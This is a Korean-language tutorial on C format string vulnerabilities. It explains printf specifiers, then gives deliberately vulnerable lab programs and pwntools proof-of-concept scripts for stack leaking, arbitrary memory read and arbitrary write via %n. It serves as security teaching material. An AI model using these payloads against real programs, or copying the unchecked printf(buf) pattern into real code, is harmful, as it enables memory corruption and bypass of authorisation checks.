1. Introduction
C 언어에서 printf, scanf, fprintf, fscanf 등 포맷 스트링(%d, %s 등)을 인자로 사용하는 함수들이 있다.
이 함수들은 포맷 스트링을 채울 값들을 레지스터나 스택에서 가져온다.
이 함수들 내부에는 포맷 스트링이 필요로 하는 인자의 개수와 함수에 전달된 인자의 개수를 비교하는 루틴이 없다.
그래서 만약 사용자가 포맷 스트링을 입력할 수 있다면, 악의적으로 다수의 인자를 요청하여 레지스터나 스택의 값을 읽을 수 있다.
또한 다양한 형식지정자를 활용하여 원하는 위치의 스택 값을 읽거나, 스택에 임의 값을 쓰는 것도 가능하다.
%[parameter][flags][width][.precision][length]type
2.1 specifier
형식 지정자(specifier)는 인자를 어떻게 사용할지 지정한다.
형식 지정자 | 설명 |
---|
d | 부호있는 10진수 정수 |
s | 문자열 |
x | 부호없는 16진수 정수 |
n | 인자에 현재까지 사용된 문자열의 길이를 저장 |
p | void형 포인터 |
2.2 width
최소 너비를 지정한다. 치환되는 문자열이 이 값보다 짧을 경우, 공백문자를 패딩해준다.
너비 지정자 | 설명 |
---|
정수 | 정수의 값만큼을 최소 너비로 지정한다. |
* | 인자의 값 만큼을 최소 너비로 지정한다. |
#include <stdio.h>
int main() {
int num;
printf("%8d\n", 123);
printf("%s\n", "Hello, world");
printf("%x\n", 0xdeadbeef);
printf("%p\n", &num);
printf("%s%n: hi\n", "Alice", &num);
printf("%*s: hello\n", num, "Bob");
return 0;
}
%n의 쓰임
포맷스트링의 인자가 사용자의 입력에 영향을 받는다면, 코드를 작성하는 시점에는 완성된 포맷 스트링의 길이를 알 수 없다.
만약 프로그래머가 완성된 포맷 스트링의 길이를 코드에 사용해야 한다면, %n을 사용한다.
2.3 parameter
참조할 인자의 인덱스를 지정한다. 이 필드의 끝은 $로 표기한다.
인덱스의 범위를 전달된 인자의 갯수와 비교하지 않는다.
#include <stdio.h>
int main() {
int num;
printf("%2$d, %1$d\n", 2, 1);
return 0;
}
포맷 스트링을 사용자가 입력할 수 있을 때, 공격자는 레지스터와 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기를 할 수 있다.
3.1 PoC
실습을 통해 알아보자
auth 변수를 0xff로 덮어보자
#include <stdio.h>
int main(void) {
int auth = 0x42424242;
char buf[32] = {0, };
read(0, buf, 32);
printf(buf);
}
9번째 인자, 즉, 0x2070252041414141에서 buf임을 알 수 있다.
그렇다면, buf에 auth의 주소를 little endian 형태로 넣고, 그 후, %n을 활용해서 auth 주소에 넣으면 0xff가 써진다.
auth의 주소 0x7fffffffdddc
이것을 dcddffffff7f0000로 한 후 packing을 한다.(Hex encode)
그리고 %246c%9$n을 넣으면 auth에 0xff가 써진다.
1. auth 주소 little endian
2. Hex encode
3. %c와 %n활용
성공!
3.2 레지스터 및 스택 읽기
위에서 PoC로 증명했는데,
AAAA %p %p %p %p %p ...를 했을 때,
AAAA는 인자가 아닌, buf에 값을 넣는 것이고,
그 다음 %p부터 rsi, rdx, rcs, r8, r9, [rsp], [rsp+0x8], [rsp+0x10], ... 으로 출력된다.
3.3 임의 주소 읽기
위에서 스택값을 읽을 때, 즉, [rsp]부터는 0x2070252041414141 처럼 8글자씩 출력한다.
이를 활용해 %[숫자]$s의 형식으로 그 주소의 데이터를 재참조해 읽을 수 있다.
PoC
#include <stdio.h>
const char *secret = "THIS IS SECRET";
int main() {
char format[0x100];
printf("Address of `secret`: %p\n", secret);
printf("Format: ");
scanf("%[^\n]", format);
printf(format);
return 0;
}
from pwn import *
p = process("./fsb_aar")
p.recvuntil("`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)
fstring = b"%7$s".ljust(8)
fstring += p64(addr_secret)
p.sendline(fstring)
p.interactive()
실행결과
3.4 임의 주소 쓰기
임의 주소 읽기처럼 포맷 스트링에 임의의 주소를 넣고, %[숫자]$n의 형식 지정자를 사용하면 그 주소에 데이터를 쓸 수 있다.
위에서 실습할 때 활용을 했었다.
PoC
#include <stdio.h>
int secret;
int main() {
char format[0x100];
printf("Address of `secret`: %p\n", &secret);
printf("Format: ");
scanf("%[^\n]", format);
printf(format);
printf("Secret: %d", secret);
return 0;
}
from pwn import *
p = process("./fsb_aaw")
p.recvuntil("`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)
fstring = b"%31337c%8$n".ljust(16)
fstring += p64(addr_secret)
p.sendline(fstring)
print(p.recvall())
실행결과
\x01 \x140*\xc1\xeeUSecret: 31337'
4. 마치며
Reference